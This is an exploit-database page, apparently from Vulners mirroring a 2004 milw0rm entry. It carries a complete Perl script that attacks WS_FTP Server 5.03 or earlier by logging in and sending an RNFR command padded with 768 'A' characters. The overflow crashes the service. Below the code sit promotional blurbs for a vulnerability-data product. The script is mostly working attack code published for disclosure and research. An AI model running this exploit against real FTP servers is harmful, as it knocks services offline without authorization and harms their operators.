Lucene search
K

WS_FTP Server <= 5.03 (RNFR) Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

WS_FTP Server Buffer Overflow Exploi

Code

                                                #===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl &#60;ip&#62; &#60;ftp user&#62; &#60;ftp pass&#62;
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
######################################################

use IO::Socket;
use strict;

my($socket) = &#34;&#34;;

if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0],
                                    PeerPort =&#62; &#34;21&#34;,
                                    Proto    =&#62; &#34;TCP&#34;))
{
        print &#34;Attempting to kill WS_FTP Server service at $ARGV[0]:21...&#34;;

        sleep(1);

        print $socket &#34;USER $ARGV[1]\r\n&#34;;

        sleep(1);

        print $socket &#34;PASS $ARGV[2]\r\n&#34;;

        sleep(1);

        print $socket &#34;PORT 127,0,0,1,18,12\r\n&#34;;

        sleep(1);

        print $socket &#34;RNFR &#34; . &#34;A&#34; x 768 . &#34;\r\n&#34;;

        close($socket);
}
else
{
        print &#34;Cannot connect to $ARGV[0]:21\n&#34;;
}
#===== End WS_FTP_Overflow.pl =====

# milw0rm.com [2004-11-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation